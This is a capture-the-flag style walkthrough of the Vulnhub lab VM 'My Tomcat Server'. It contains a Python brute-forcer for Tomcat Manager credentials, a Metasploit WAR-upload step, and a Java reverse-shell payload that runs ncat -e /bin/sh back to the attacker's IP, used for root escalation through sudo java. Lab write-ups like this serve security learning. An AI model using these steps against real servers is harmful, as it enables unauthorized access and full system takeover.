My Tomcat Server
“My Tomcat Server” is a vulnerable VM hosted in Vulnhub and created by user Akanksha Sachin Verma.
Here is the VM’s imformation page
IP Discovery
After the VM completely booted up, I used my IP finding script to figure out it’s IP address. You can read about it here
Port Scanning
Now that I’ve the VM’s IP address, the first thing to do would be a port scan of the VM. Now normally I would first scan the VM using rustscan
first to reveal all the open TCP ports, but for this VM I choose to use nmap
only because rustscan
wasn’t installed.
So let’s scan the machine now, using the nmap Aggressive scan, which is a short-hand for OS detection (-O), version scanning (-sV), script scanning (-sC) and traceroute (–traceroute) in one short-hand switch. So the command is nmap -A 192.168.56.3
Apart from a OpenSSH 6.6.1 server, we can see a Apache Tomcat 9.0.31 http server running, so now let’s start with web enumeration.
Enumeration
Now that we know there’s a Tomcat installation running, the first thing would be to try and enumerate valid credentials for the Tomcat Manager application.
Now you can use the Metasploit’s scanner/http/tomcat_mgr_login with the defaults. Just set the RHOSTS and execute
But during the write-up process, I created my own Python script to bruteforce the login credentials for the Manager app
import requests
from argparse import ArgumentParser
parser = ArgumentParser()
parser.add_argument("host", type=str, help="IP of the VM")
parser.add_argument("port", type=int, help="Port where Tomcat is listening")
parser.add_argument("--url", type=str, help="URL of the Tomcat Manager webapp, start with a slash", default="/manager/html")
parser.add_argument("--username", type=str, help="File containing usernames, one per line", default="users.txt")
parser.add_argument("--password", type=str, help="File containing passwords, one per line", default="password.txt")
arguments = parser.parse_args()
user_file = open(arguments.username, "r").read().split("\n")
pass_file = open(arguments.password, "r").read().split("\n")
url = f"http://{arguments.host}:{arguments.port}{arguments.url}"
for user in user_file:
for password in pass_file:
if user and password:
response = requests.get(url, auth=(user, password))
if response.status_code == 200:
print(f"Successful credentials {user}:{password}")
And by that I have the credentials to the Tomcat Manager application. Using the credentials, now let’s login in to the server via a browser.
Initial Foothold
Now that we’ve gotten access to Tomcat Manager application, I used the multi/http/tomcat/tomcat_mgr_upload module to upload a reverse shell WAR file that will contain a JSP payload. Set the appropriate options and let the exploit run. It will generate the payload, upload it and deploy using Manager.
This drops me with a reverse shell in the VM. Now the first thing that needs to be done is having a TTY-backed shell. There’s a number of way to do that. I did it using the python’s pty module
Now you’ll notice that I’m in
/usr/local/tomcat9/temp
. It turns out, the spawned shell runs as user tomcat and that user’s home directory is/usr/local/tomcat9
. Thetemp/
sub-directory is a personal temporary directory for the user and the tomcat server
Privilege Escalation
Now that I’ve a complete TTY-backed shell, I can start to enumerate to look for potential privilege escalation. So first let’s see what is the sudo config enabled for the user tomcat
So we can java
can be invoked via sudo without any password required. So to actually escalate the privileges, I’ll need a Java program that will invoke a shell. So I searched and came up with this Java payload to invoke /bin/sh
import java.io.IOException;
public class Trial {
public static void main(String[] args) throws IOException {
Process p = Runtime.getRuntime().exec(new String[]{
"/usr/local/tomcat9/temp/ncat",
"-e", "/bin/sh",
"192.168.56.1", "5555"
});
}
}
I copied this payload in a single line and echo-ed it into a java file called Trial.java (because public classes need to be in a file with the same name as the class).
But for this payload to work, I’ll need ncat
binary which is unavaliable. So I downloaded a statically compiled ncat and placed in /usr/local/tomcat9/temp/ncat
.
Now that I got all the pieces together, it’s time to compile the file and run it using sudo /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.242.b08-0.el7_7.x86_64/jre/bin/java Trial
, but only after I have started a netcat listener on the host machine using nc -lvvp 5555
.
If everything has gone then you’ll get recieve a reverse shell for user root.
Now let’s go and get the root flag